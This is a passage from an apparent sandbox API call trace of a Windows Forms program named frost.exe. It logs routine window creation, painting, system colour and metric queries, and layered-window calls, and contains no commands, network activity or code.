lParam=0x10fd1b0) returned 0x0 [0049.374] NtdllDefWindowProc_W (hWnd=0x20220, Msg=0x1, wParam=0x0, lParam=0x10fd0a0) returned 0x0 [0049.375] NtdllDefWindowProc_W (hWnd=0x20220, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0049.375] NtdllDefWindowProc_W (hWnd=0x20220, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0049.378] GetStartupInfoW (in: lpStartupInfo=0x2fd8b68 | out: lpStartupInfo=0x2fd8b68*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\frost.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0049.381] GetParent (hWnd=0x80052) returned 0x0 [0049.381] SetWindowLongPtrW (hWnd=0x80052, nIndex=-8, dwNewLong=0x0) returned 0x0 [0049.382] GetSystemMetrics (nIndex=49) returned 16 [0049.382] GetSystemMetrics (nIndex=50) returned 16 [0049.384] CreateIconFromResourceEx (presbits=0x2fd8c30, dwResSize=0x468, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0x70245 [0049.386] SendMessageW (hWnd=0x80052, Msg=0x80, wParam=0x0, lParam=0x70245) returned 0x0 [0049.386] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0x80, wParam=0x0, lParam=0x70245) returned 0x0 [0049.387] SendMessageW (hWnd=0x80052, Msg=0x80, wParam=0x1, lParam=0xc0249) returned 0x0 [0049.387] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0x80, wParam=0x1, lParam=0xc0249) returned 0x0 [0049.387] GetSystemMenu (hWnd=0x80052, bRevert=0) returned 0x501f1 [0049.389] GetWindowPlacement (in: hWnd=0x80052, lpwndpl=0x10febd0 | out: lpwndpl=0x10febd0) returned 1 [0049.389] EnableMenuItem (hMenu=0x501f1, uIDEnableItem=0xf020, uEnable=0x0) returned 0 [0049.389] EnableMenuItem (hMenu=0x501f1, uIDEnableItem=0xf030, uEnable=0x0) returned 0 [0049.389] EnableMenuItem (hMenu=0x501f1, uIDEnableItem=0xf060, uEnable=0x0) returned 0 [0049.389] EnableMenuItem (hMenu=0x501f1, uIDEnableItem=0xf120, uEnable=0x1) returned 0 [0049.389] EnableMenuItem (hMenu=0x501f1, uIDEnableItem=0xf000, uEnable=0x0) returned 0 [0049.390] GetClientRect (in: hWnd=0x80052, lpRect=0x10feca0 | out: lpRect=0x10feca0) returned 1 [0049.390] GetClientRect (in: hWnd=0x80052, lpRect=0x10febc0 | out: lpRect=0x10febc0) returned 1 [0049.390] GetWindowRect (in: hWnd=0x80052, lpRect=0x10febc0 | out: lpRect=0x10febc0) returned 1 [0049.390] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7ff9270a0000 [0049.390] GetWindowLongPtrW (hWnd=0x80052, nIndex=-16) returned 0x6cf0000 [0049.390] GetWindowTextLengthW (hWnd=0x80052) returned 5 [0049.390] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x5 [0049.390] GetSystemMetrics (nIndex=42) returned 0 [0049.391] GetWindowTextW (in: hWnd=0x80052, lpString=0x10fe9e0, nMaxCount=6 | out: lpString="Frost") returned 5 [0049.391] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0xd, wParam=0x6, lParam=0x10fe9e0) returned 0x5 [0049.391] GetWindowTextLengthW (hWnd=0x80052) returned 5 [0049.391] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x5 [0049.391] GetSystemMetrics (nIndex=42) returned 0 [0049.391] GetWindowTextW (in: hWnd=0x80052, lpString=0x10fe9e0, nMaxCount=6 | out: lpString="Frost") returned 5 [0049.391] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0xd, wParam=0x6, lParam=0x10fe9e0) returned 0x5 [0049.391] GetWindowLongPtrW (hWnd=0x80052, nIndex=-16) returned 0x6cf0000 [0049.391] GetWindowLongPtrW (hWnd=0x80052, nIndex=-20) returned 0x50100 [0049.391] SetWindowLongPtrW (hWnd=0x80052, nIndex=-16, dwNewLong=0x2cf0000) returned 0x6cf0000 [0049.391] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0x7c, wParam=0xfffffffffffffff0, lParam=0x10feaa0) returned 0x0 [0049.391] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0x7d, wParam=0xfffffffffffffff0, lParam=0x10feaa0) returned 0x0 [0049.393] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x70245 [0049.393] SetWindowLongPtrW (hWnd=0x80052, nIndex=-20, dwNewLong=0x50000) returned 0x50100 [0049.394] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0x7c, wParam=0xffffffffffffffec, lParam=0x10feaa0) returned 0x0 [0049.394] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0x7d, wParam=0xffffffffffffffec, lParam=0x10feaa0) returned 0x0 [0049.394] SetWindowPos (hWnd=0x80052, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0049.394] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0x46, wParam=0x0, lParam=0x10feb00) returned 0x0 [0049.395] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0x83, wParam=0x1, lParam=0x10fead0) returned 0x0 [0049.396] GetWindowPlacement (in: hWnd=0x80052, lpwndpl=0x10fe610 | out: lpwndpl=0x10fe610) returned 1 [0049.396] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0x47, wParam=0x0, lParam=0x10feb00) returned 0x0 [0049.396] GetClientRect (in: hWnd=0x80052, lpRect=0x10fe4b0 | out: lpRect=0x10fe4b0) returned 1 [0049.396] GetWindowRect (in: hWnd=0x80052, lpRect=0x10fe4b0 | out: lpRect=0x10fe4b0) returned 1 [0049.398] RedrawWindow (hWnd=0x80052, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0049.398] GetSystemMenu (hWnd=0x80052, bRevert=0) returned 0x501f1 [0049.398] GetWindowPlacement (in: hWnd=0x80052, lpwndpl=0x10feb70 | out: lpwndpl=0x10feb70) returned 1 [0049.398] EnableMenuItem (hMenu=0x501f1, uIDEnableItem=0xf020, uEnable=0x0) returned 0 [0049.398] EnableMenuItem (hMenu=0x501f1, uIDEnableItem=0xf030, uEnable=0x0) returned 0 [0049.398] EnableMenuItem (hMenu=0x501f1, uIDEnableItem=0xf060, uEnable=0x0) returned 0 [0049.398] EnableMenuItem (hMenu=0x501f1, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0049.398] EnableMenuItem (hMenu=0x501f1, uIDEnableItem=0xf000, uEnable=0x0) returned 0 [0049.398] ShowWindow (hWnd=0x80052, nCmdShow=5) [0049.398] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0049.399] GetWindowTextLengthW (hWnd=0x80052) returned 5 [0049.399] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x5 [0049.399] GetSystemMetrics (nIndex=42) returned 0 [0049.399] GetWindowTextW (in: hWnd=0x80052, lpString=0x10fe4a0, nMaxCount=6 | out: lpString="Frost") returned 5 [0049.399] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0xd, wParam=0x6, lParam=0x10fe4a0) returned 0x5 [0049.409] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7ff9270a0000 [0049.409] GetWindowLongPtrW (hWnd=0x80052, nIndex=-16) returned 0x6cf0000 [0049.410] GetWindowTextLengthW (hWnd=0x80052) returned 5 [0049.410] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x5 [0049.410] GetSystemMetrics (nIndex=42) returned 0 [0049.410] GetWindowTextW (in: hWnd=0x80052, lpString=0x10fe1c0, nMaxCount=6 | out: lpString="Frost") returned 5 [0049.410] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0xd, wParam=0x6, lParam=0x10fe1c0) returned 0x5 [0049.410] GetWindowTextLengthW (hWnd=0x80052) returned 5 [0049.410] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x5 [0049.410] GetSystemMetrics (nIndex=42) returned 0 [0049.410] GetWindowTextW (in: hWnd=0x80052, lpString=0x10fe1c0, nMaxCount=6 | out: lpString="Frost") returned 5 [0049.410] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0xd, wParam=0x6, lParam=0x10fe1c0) returned 0x5 [0049.410] GetWindowLongPtrW (hWnd=0x80052, nIndex=-16) returned 0x6cf0000 [0049.410] GetWindowLongPtrW (hWnd=0x80052, nIndex=-20) returned 0x50100 [0049.410] SetWindowLongPtrW (hWnd=0x80052, nIndex=-16, dwNewLong=0x12cf0000) returned 0x6cf0000 [0049.410] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0x7c, wParam=0xfffffffffffffff0, lParam=0x10fe280) returned 0x0 [0049.419] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0x7d, wParam=0xfffffffffffffff0, lParam=0x10fe280) returned 0x0 [0049.420] SetWindowLongPtrW (hWnd=0x80052, nIndex=-20, dwNewLong=0xd0000) returned 0x50100 [0049.420] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0x7c, wParam=0xffffffffffffffec, lParam=0x10fe280) returned 0x0 [0049.420] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0x7d, wParam=0xffffffffffffffec, lParam=0x10fe280) returned 0x0 [0049.421] SetWindowPos (hWnd=0x80052, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0049.421] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0x46, wParam=0x0, lParam=0x10fe2e0) returned 0x0 [0049.421] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0x83, wParam=0x1, lParam=0x10fe2b0) returned 0x0 [0049.422] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0x85, wParam=0x2a0406ff, lParam=0x0) returned 0x0 [0049.423] GetWindowPlacement (in: hWnd=0x80052, lpwndpl=0x10fde10 | out: lpwndpl=0x10fde10) returned 1 [0049.423] GetClientRect (in: hWnd=0x80052, lpRect=0x10fdd30 | out: lpRect=0x10fdd30) returned 1 [0049.423] GetWindowTextLengthW (hWnd=0x80052) returned 5 [0049.423] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x5 [0049.423] GetSystemMetrics (nIndex=42) returned 0 [0049.423] GetWindowTextW (in: hWnd=0x80052, lpString=0x10fda90, nMaxCount=6 | out: lpString="Frost") returned 5 [0049.423] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0xd, wParam=0x6, lParam=0x10fda90) returned 0x5 [0049.423] GetClientRect (in: hWnd=0x80052, lpRect=0x10fdaf8 | out: lpRect=0x10fdaf8) returned 1 [0049.430] GetSysColor (nIndex=10) returned 0xb4b4b4 [0049.430] GetSysColor (nIndex=2) returned 0xd1b499 [0049.430] GetSysColor (nIndex=9) returned 0x0 [0049.430] GetSysColor (nIndex=12) returned 0xababab [0049.430] GetSysColor (nIndex=15) returned 0xf0f0f0 [0049.430] GetSysColor (nIndex=20) returned 0xffffff [0049.430] GetSysColor (nIndex=16) returned 0xa0a0a0 [0049.430] GetSysColor (nIndex=15) returned 0xf0f0f0 [0049.430] GetSysColor (nIndex=16) returned 0xa0a0a0 [0049.430] GetSysColor (nIndex=21) returned 0x696969 [0049.430] GetSysColor (nIndex=22) returned 0xe3e3e3 [0049.430] GetSysColor (nIndex=20) returned 0xffffff [0049.431] GetSysColor (nIndex=18) returned 0x0 [0049.431] GetSysColor (nIndex=1) returned 0x0 [0049.431] GetSysColor (nIndex=27) returned 0xead1b9 [0049.431] GetSysColor (nIndex=28) returned 0xf2e4d7 [0049.431] GetSysColor (nIndex=17) returned 0x6d6d6d [0049.431] GetSysColor (nIndex=13) returned 0xd77800 [0049.431] GetSysColor (nIndex=14) returned 0xffffff [0049.431] GetSysColor (nIndex=26) returned 0xcc6600 [0049.431] GetSysColor (nIndex=11) returned 0xfcf7f4 [0049.431] GetSysColor (nIndex=3) returned 0xdbcdbf [0049.431] GetSysColor (nIndex=19) returned 0x0 [0049.431] GetSysColor (nIndex=24) returned 0xe1ffff [0049.431] GetSysColor (nIndex=23) returned 0x0 [0049.431] GetSysColor (nIndex=4) returned 0xf0f0f0 [0049.431] GetSysColor (nIndex=30) returned 0xf0f0f0 [0049.431] GetSysColor (nIndex=29) returned 0xd77800 [0049.431] GetSysColor (nIndex=7) returned 0x0 [0049.431] GetSysColor (nIndex=0) returned 0xc8c8c8 [0049.431] GetSysColor (nIndex=5) returned 0xffffff [0049.431] GetSysColor (nIndex=6) returned 0x646464 [0049.431] GetSysColor (nIndex=8) returned 0x0 [0049.432] GetSystemMetrics (nIndex=80) returned 1 [0049.438] EnumDisplayMonitors (hdc=0x0, lprcClip=0x0, lpfnEnum=0x1b8b0a4c, dwData=0x0) returned 1 [0049.439] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x10fd2d0 | out: lpmi=0x10fd2d0) returned 1 [0049.440] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0xffffffff8801075c [0049.440] GetDeviceCaps (hdc=0xffffffff8801075c, index=12) returned 32 [0049.440] GetDeviceCaps (hdc=0xffffffff8801075c, index=14) returned 1 [0049.440] DeleteDC (hdc=0xffffffff8801075c) returned 1 [0049.441] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0049.441] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0049.441] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x8050628 [0049.441] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0049.445] SaveDC (hdc=0x10105d6) returned 1 [0049.446] GetNearestColor (hdc=0x10105d6, color=0xf0f0f0) returned 0xf0f0f0 [0049.483] CreateSolidBrush (color=0xf0f0f0) returned 0x14100715 [0049.484] FillRect (hDC=0x10105d6, lprc=0x10fd7e0, hbr=0x14100715) returned 1 [0049.485] DeleteObject (ho=0x14100715) returned 1 [0049.486] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0049.488] GetWindowPlacement (in: hWnd=0x80052, lpwndpl=0x10fddf0 | out: lpwndpl=0x10fddf0) returned 1 [0049.488] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0x47, wParam=0x0, lParam=0x10fe2e0) returned 0x0 [0049.488] GetClientRect (in: hWnd=0x80052, lpRect=0x10fdc90 | out: lpRect=0x10fdc90) returned 1 [0049.488] GetWindowRect (in: hWnd=0x80052, lpRect=0x10fdc90 | out: lpRect=0x10fdc90) returned 1 [0049.489] RedrawWindow (hWnd=0x80052, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0049.489] GetSystemMenu (hWnd=0x80052, bRevert=0) returned 0x501f1 [0049.489] GetWindowPlacement (in: hWnd=0x80052, lpwndpl=0x10fe350 | out: lpwndpl=0x10fe350) returned 1 [0049.489] EnableMenuItem (hMenu=0x501f1, uIDEnableItem=0xf020, uEnable=0x0) returned 0 [0049.489] EnableMenuItem (hMenu=0x501f1, uIDEnableItem=0xf030, uEnable=0x0) returned 0 [0049.489] EnableMenuItem (hMenu=0x501f1, uIDEnableItem=0xf060, uEnable=0x0) returned 0 [0049.489] EnableMenuItem (hMenu=0x501f1, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0049.489] EnableMenuItem (hMenu=0x501f1, uIDEnableItem=0xf000, uEnable=0x0) returned 0 [0049.492] SetLayeredWindowAttributes (hwnd=0x80052, crKey=0x0, bAlpha=0x0, dwFlags=0x2) returned 1 [0049.569] GetCurrentThreadId () returned 0xf88 [0049.596] EnumThreadWindows (dwThreadId=0xf88, lpfn=0x1b8b0a9c, lParam=0x80052) returned 1 [0049.796] GetWindowLongPtrW (hWnd=0x20220, nIndex=-8) returned 0x0 [0049.796] GetWindowLongPtrW (hWnd=0x80052, nIndex=-8) returned 0x0 [0049.796] GetWindowLongPtrW (hWnd=0x2022a, nIndex=-8) returned 0x80052 [0049.877] SetWindowLongPtrW (hWnd=0x2022a, nIndex=-8, dwNewLong=0x0) returned 0x80052 [0049.882] GetParent (hWnd=0x80052) returned 0x0 [0049.882] GetWindowLongPtrW (hWnd=0x80052, nIndex=-20) returned 0xd0100 [0049.882] DestroyWindow (hWnd=0x80052) returned 1 [0049.882] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0049.892] GetWindowTextLengthW (hWnd=0x80052) returned 5 [0049.892] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x5 [0049.892] GetSystemMetrics (nIndex=42) returned 0 [0049.892] GetWindowTextW (in: hWnd=0x80052, lpString=0x10fd950, nMaxCount=6 | out: lpString="Frost") returned 5 [0049.892] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0xd, wParam=0x6, lParam=0x10fd950) returned 0x5 [0049.893] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0049.893] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80052, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0049.897] GetCurrentActCtx (in: lphActCtx=0x10fe210 | out: lphActCtx=0x10fe210*=0x1301f88) returned 1 [0049.898] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7ff9270a0000 [0049.898] GetModuleHandleW (lpModuleName=0x0) returned 0xcb0000 [0049.898] CreateWindowExW (dwExStyle=0x90000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r6_ad1", lpWindowName="Frost", dwStyle=0x2cf0000, X=208, Y=208, nWidth=140, nHeight=94, hWndParent=0x0, hMenu=0x0, hInstance=0xcb0000, lpParam=0x0) returned 0x80076 [0049.898] SetWindowLongPtrW (hWnd=0x80076, nIndex=-4, dwNewLong=0x7ff931fe5090) returned 0x1b8b086c [0049.898] GetWindowLongPtrW (hWnd=0x80076, nIndex=-4) returned 0x7ff931fe5090 [0049.898] SetWindowLongPtrW (hWnd=0x80076, nIndex=-4, dwNewLong=0x1b8b0aec) returned 0x7ff931fe5090 [0049.898] GetWindowLongPtrW (hWnd=0x80076, nIndex=-4) returned 0x1b8b0aec [0049.898] GetWindowLongPtrW (hWnd=0x80076, nIndex=-16) returned 0x6cf0000 [0049.900] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80076, Msg=0x81, wParam=0x0, lParam=0x10fd8b0) returned 0x1 [0049.900] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80076, Msg=0x83, wParam=0x0, lParam=0x10fd960) returned 0x0 [0049.901] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80076, Msg=0x1, wParam=0x0, lParam=0x10fd890) returned 0x0 [0049.901] GetClientRect (in: hWnd=0x80076, lpRect=0x10fd270 | out: lpRect=0x10fd270) returned 1 [0049.901] GetWindowRect (in: hWnd=0x80076, lpRect=0x10fd270 | out: lpRect=0x10fd270) returned 1 [0049.902] SetWindowTextW (hWnd=0x80076, lpString="Frost") returned 1 [0049.902] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80076, Msg=0xc, wParam=0x0, lParam=0x2fda8ac) returned 0x1 [0049.903] SetLayeredWindowAttributes (hwnd=0x80076, crKey=0x0, bAlpha=0x0, dwFlags=0x2) returned 1 [0049.904] GetStartupInfoW (in: lpStartupInfo=0x2fdad98 | out: lpStartupInfo=0x2fdad98*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\Desktop\\frost.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0049.905] GetParent (hWnd=0x80076) returned 0x0 [0049.906] GetStockObject (i=5) returned 0x900015 [0049.906] GetModuleHandleW (lpModuleName=0x0) returned 0xcb0000 [0049.907] CoTaskMemAlloc (cb=0x5a) returned 0x12fb2b0 [0049.907] RegisterClassW (lpWndClass=0x10fdf00) returned 0xc177 [0049.907] CoTaskMemFree (pv=0x12fb2b0) [0049.907] GetModuleHandleW (lpModuleName=0x0) returned 0xcb0000 [0049.907] CreateWindowExW (dwExStyle=0x80, lpClassName="WindowsForms10.Window.0.app.0.141b42a_r6_ad1", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0xcb0000, lpParam=0x0) returned 0x60030 [0049.907] SetWindowLongPtrW (hWnd=0x60030, nIndex=-4, dwNewLong=0x7ff931fe5090) returned 0x1b8b0b3c [0049.907] GetWindowLongPtrW (hWnd=0x60030, nIndex=-4) returned 0x7ff931fe5090 [0049.908] SetWindowLongPtrW (hWnd=0x60030, nIndex=-4, dwNewLong=0x1b8b0b8c) returned 0x7ff931fe5090 [0049.908] GetWindowLongPtrW (hWnd=0x60030, nIndex=-4) returned 0x1b8b0b8c [0049.908] GetWindowLongPtrW (hWnd=0x60030, nIndex=-16) returned 0x4c00000 [0049.908] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x60030, Msg=0x24, wParam=0x0, lParam=0x10fd940) returned 0x0 [0049.908] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x60030, Msg=0x81, wParam=0x0, lParam=0x10fd8b0) returned 0x1 [0049.909] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x60030, Msg=0x83, wParam=0x0, lParam=0x10fd960) returned 0x0 [0049.909] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x60030, Msg=0x1, wParam=0x0, lParam=0x10fd8b0) returned 0x0 [0049.910] SetWindowLongPtrW (hWnd=0x80076, nIndex=-8, dwNewLong=0x60030) returned 0x0 [0049.911] SendMessageW (hWnd=0x80076, Msg=0x80, wParam=0x0, lParam=0x70245) returned 0x0 [0049.911] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80076, Msg=0x80, wParam=0x0, lParam=0x70245) returned 0x0 [0049.911] SendMessageW (hWnd=0x80076, Msg=0x80, wParam=0x1, lParam=0xc0249) returned 0x0 [0049.911] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80076, Msg=0x80, wParam=0x1, lParam=0xc0249) returned 0x0 [0049.912] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80076, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x70245 [0050.035] GetSystemMenu (hWnd=0x80076, bRevert=0) returned 0x60235 [0050.035] GetWindowPlacement (in: hWnd=0x80076, lpwndpl=0x10fe210 | out: lpwndpl=0x10fe210) returned 1 [0050.035] EnableMenuItem (hMenu=0x60235, uIDEnableItem=0xf020, uEnable=0x0) returned 0 [0050.035] EnableMenuItem (hMenu=0x60235, uIDEnableItem=0xf030, uEnable=0x0) returned 0 [0050.035] EnableMenuItem (hMenu=0x60235, uIDEnableItem=0xf060, uEnable=0x0) returned 0 [0050.035] EnableMenuItem (hMenu=0x60235, uIDEnableItem=0xf120, uEnable=0x1) returned 0 [0050.035] EnableMenuItem (hMenu=0x60235, uIDEnableItem=0xf000, uEnable=0x0) returned 0 [0050.035] GetClientRect (in: hWnd=0x80076, lpRect=0x10fe2e0 | out: lpRect=0x10fe2e0) returned 1 [0050.035] GetClientRect (in: hWnd=0x80076, lpRect=0x10fe200 | out: lpRect=0x10fe200) returned 1 [0050.035] GetWindowRect (in: hWnd=0x80076, lpRect=0x10fe200 | out: lpRect=0x10fe200) returned 1 [0050.035] SetWindowPos (hWnd=0x80076, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x57) returned 1 [0050.035] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80076, Msg=0x46, wParam=0x0, lParam=0x10fe180) returned 0x0 [0050.040] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80076, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0050.042] GetWindowPlacement (in: hWnd=0x80076, lpwndpl=0x10fdcb0 | out: lpwndpl=0x10fdcb0) returned 1 [0050.043] GetClientRect (in: hWnd=0x80076, lpRect=0x10fdbd0 | out: lpRect=0x10fdbd0) returned 1 [0050.043] GetWindowTextLengthW (hWnd=0x80076) returned 5 [0050.043] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80076, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x5 [0050.043] GetSystemMetrics (nIndex=42) returned 0 [0050.043] GetWindowTextW (in: hWnd=0x80076, lpString=0x10fd930, nMaxCount=6 | out: lpString="Frost") returned 5 [0050.043] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80076, Msg=0xd, wParam=0x6, lParam=0x10fd930) returned 0x5 [0050.043] GetClientRect (in: hWnd=0x80076, lpRect=0x10fd998 | out: lpRect=0x10fd998) returned 1 [0050.043] GetCurrentObject (hdc=0x60100ce, type=0x1) returned 0xb00017 [0050.043] GetCurrentObject (hdc=0x60100ce, type=0x2) returned 0x900010 [0050.043] GetCurrentObject (hdc=0x60100ce, type=0x7) returned 0x5f05077b [0050.043] GetCurrentObject (hdc=0x60100ce, type=0x6) returned 0x8a01c2 [0050.044] SaveDC (hdc=0x60100ce) returned 1 [0050.044] GetNearestColor (hdc=0x60100ce, color=0xf0f0f0) returned 0xf0f0f0 [0050.044] CreateSolidBrush (color=0xf0f0f0) returned 0x15100715 [0050.044] FillRect (hDC=0x60100ce, lprc=0x10fd680, hbr=0x15100715) returned 1 [0050.044] DeleteObject (ho=0x15100715) returned 1 [0050.044] RestoreDC (hdc=0x60100ce, nSavedDC=-1) returned 1 [0050.044] GetWindowPlacement (in: hWnd=0x80076, lpwndpl=0x10fdc90 | out: lpwndpl=0x10fdc90) returned 1 [0050.044] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80076, Msg=0x47, wParam=0x0, lParam=0x10fe180) returned 0x0 [0050.044] GetClientRect (in: hWnd=0x80076, lpRect=0x10fdb30 | out: lpRect=0x10fdb30) returned 1 [0050.044] GetWindowRect (in: hWnd=0x80076, lpRect=0x10fdb30 | out: lpRect=0x10fdb30) returned 1 [0050.045] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80076, Msg=0x83, wParam=0x1, lParam=0x10fd9f0) returned 0x0 [0050.047] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80076, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0050.048] GetWindowPlacement (in: hWnd=0x80076, lpwndpl=0x10fd550 | out: lpwndpl=0x10fd550) returned 1 [0050.048] GetClientRect (in: hWnd=0x80076, lpRect=0x10fd470 | out: lpRect=0x10fd470) returned 1 [0050.048] GetWindowTextLengthW (hWnd=0x80076) returned 5 [0050.048] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80076, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x5 [0050.048] GetSystemMetrics (nIndex=42) returned 0 [0050.049] GetWindowTextW (in: hWnd=0x80076, lpString=0x10fd1d0, nMaxCount=6 | out: lpString="Frost") returned 5 [0050.049] CallWindowProcW (lpPrevWndFunc=0x7ff931fe5090, hWnd=0x80076, Msg=0xd, wParam=0x6, lParam=0x10fd1d0) returned 0x5 [0050.049] GetClientRect (in: hWnd=0x80076, lpRect=0x10fd238 | out: lpRect=0x10fd238) returned 1 [0050.049] GetCurrentObject (hdc=0x50106d0, type=0x1) returned 0xb00017 [0050.049] GetCurrentObject (hdc=0x50106d0, type=0x2) returned 0x900010 [0050.049] GetCurrentObject (hdc=0x50106d0, 